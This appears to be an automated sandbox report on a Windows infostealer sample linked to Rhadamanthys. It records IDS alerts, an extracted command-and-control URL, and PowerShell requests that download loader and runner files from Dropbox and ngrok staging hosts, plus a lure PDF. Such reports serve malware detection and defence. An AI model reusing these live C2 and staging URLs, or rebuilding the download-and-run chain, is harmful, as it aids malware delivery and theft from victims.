Source:	Binary string: wntdll.pdbUGP source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006033011.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006212361.0000000005670000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3003010660.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3004268530.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3011106990.0000000005410000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006033011.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006212361.0000000005670000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2973334075.00000171C4770000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb#4P2 source: powershell.exe, 00000010.00000002.2972803577.00000171C46F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006708264.0000000005550000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006591715.0000000002F90000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3012093700.0000000005340000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3011953918.0000000005220000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007420769.00000000056F0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007231833.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\fontdrvhost.exe

Code function: 4x nop then dec esp

32_2_000002CB3B020511

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 104.161.43.18:2845 -> 192.168.2.5:49976

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://104.161.43.18:2845/7e56fc199c7194d0/qc1o4gn8.mjfvk

Source: global traffic

TCP traffic: 192.168.2.5:49976 -> 104.161.43.18:2845

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

HTTP traffic: Redirect from: www.dropbox.com to https://uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com/cd/0/get/cgb0bxxvtzj3w5vpgoatby63qn02phmng9h4hv2fosencznftbgagxxwqfjgbok_rw6kym6bitshviieo-xlsqd7kx5dhargpdq6oqkdyzjb3ujq_zg59wv3cwslhxw4ni398muxg6le98jk748a_r_i/file?dl=1#

Source: Joe Sandbox View	IP Address: 162.125.65.18 162.125.65.18
Source: Joe Sandbox View	IP Address: 162.125.67.18 162.125.67.18
Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18
Source: Joe Sandbox View	IP Address: 162.125.69.15 162.125.69.15

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49709 -> 162.125.69.18:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49803 -> 162.125.67.18:443

Source: global traffic	HTTP traffic detected: GET /api/secure/6dc5ab464f5bc22bbff3934d61830606 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/6dromt11dasgpbaqiinde/secure.txt?rlkey=w5qe7ul17xmqk7b3r4953k6ky&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgbDQoJsI6R58j4ru660UEOz8fpXzoS6gcqFBoUBgchkWnfHyms9XOtlJieYXlqdaqGAfoIm7BmhKdouhZ4sna2p4w_ZN9ujR8qPkrGT3qgbnR6EAoDsPVsQi3XIMZaUWQUzfRCnrzpMQEgJeeE28yu8/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/dk0happq8zq54zyqx75rc/loader.txt?rlkey=mgjftur3wge66oen7ogdrtopm&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgbNmXAqM1wvvWO56t4UHHZ2wZyBtClDzM91JHL8AYxcPQR0PajL6K14nXQikBWli5FkGf1GTv3JBsf8gFrYx5LkdmZwFbImQrU3Ydq9kJ1b4QNJKvyF9wZ6d4Di7ZRVu3IJIGDhGELYgaNnnZc6rA2f/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ucd24643649bac0467233a3909f7.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Cgb0BxxVTZj3W5VPGOATby63qn02Phmng9h4HV2FOsenCZnftBGagxXWqfJGbok_Rw6kYM6bITShviiEO-XLsqd7kX5DhaRGpDQ6OQkDYZJB3Ujq_zG59WV3cwSLHXW4NI398muxG6Le98jk748A_r_i/file?dl=1 HTTP/1.1Host: uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ngFodvPiZea0hrqxVrT6SNLon0oI00KcKBQBdJn0HCPMD59thafM3TiVK4ToKHfRtWA5UmkkWplehqwpQ4Q6VJfmHLFb009whcAGFRH0g657Ko1YMgaP6XBG8yCRIv/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgbAyJXP1G3lks-wJve3nDWamXUffiADL-YUaZhs-plP6y8LMsMF0jJ4ZviDIk2br3__kCv01HrtzEuctv_DKHlIJSCi92AlRRvpqZO2DzRqafJ2vudnZyCDLA1VK8XteiQ2T5aCPiToB0VJzJ_Tr_jd/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /metadata/6dc5ab464f5bc22bbff3934d61830606 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.appConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49713 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18
Source: unknown	TCP traffic detected without corresponding DNS query: 104.161.43.18

Source: global traffic	HTTP traffic detected: GET /api/secure/6dc5ab464f5bc22bbff3934d61830606 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/6dromt11dasgpbaqiinde/secure.txt?rlkey=w5qe7ul17xmqk7b3r4953k6ky&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgbDQoJsI6R58j4ru660UEOz8fpXzoS6gcqFBoUBgchkWnfHyms9XOtlJieYXlqdaqGAfoIm7BmhKdouhZ4sna2p4w_ZN9ujR8qPkrGT3qgbnR6EAoDsPVsQi3XIMZaUWQUzfRCnrzpMQEgJeeE28yu8/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/dk0happq8zq54zyqx75rc/loader.txt?rlkey=mgjftur3wge66oen7ogdrtopm&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgbNmXAqM1wvvWO56t4UHHZ2wZyBtClDzM91JHL8AYxcPQR0PajL6K14nXQikBWli5FkGf1GTv3JBsf8gFrYx5LkdmZwFbImQrU3Ydq9kJ1b4QNJKvyF9wZ6d4Di7ZRVu3IJIGDhGELYgaNnnZc6rA2f/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ucd24643649bac0467233a3909f7.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Cgb0BxxVTZj3W5VPGOATby63qn02Phmng9h4HV2FOsenCZnftBGagxXWqfJGbok_Rw6kYM6bITShviiEO-XLsqd7kX5DhaRGpDQ6OQkDYZJB3Ujq_zG59WV3cwSLHXW4NI398muxG6Le98jk748A_r_i/file?dl=1 HTTP/1.1Host: uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ngFodvPiZea0hrqxVrT6SNLon0oI00KcKBQBdJn0HCPMD59thafM3TiVK4ToKHfRtWA5UmkkWplehqwpQ4Q6VJfmHLFb009whcAGFRH0g657Ko1YMgaP6XBG8yCRIv/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgbAyJXP1G3lks-wJve3nDWamXUffiADL-YUaZhs-plP6y8LMsMF0jJ4ZviDIk2br3__kCv01HrtzEuctv_DKHlIJSCi92AlRRvpqZO2DzRqafJ2vudnZyCDLA1VK8XteiQ2T5aCPiToB0VJzJ_Tr_jd/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /metadata/6dc5ab464f5bc22bbff3934d61830606 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.appConnection: Keep-Alive

Source: powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; frame-ancestors 'self' https://.dropbox.com ; font-src https:// data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; base-uri 'self' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; img-src https:// data: blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; frame-ancestors 'self' https://.dropbox.com ; font-src https:// data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com 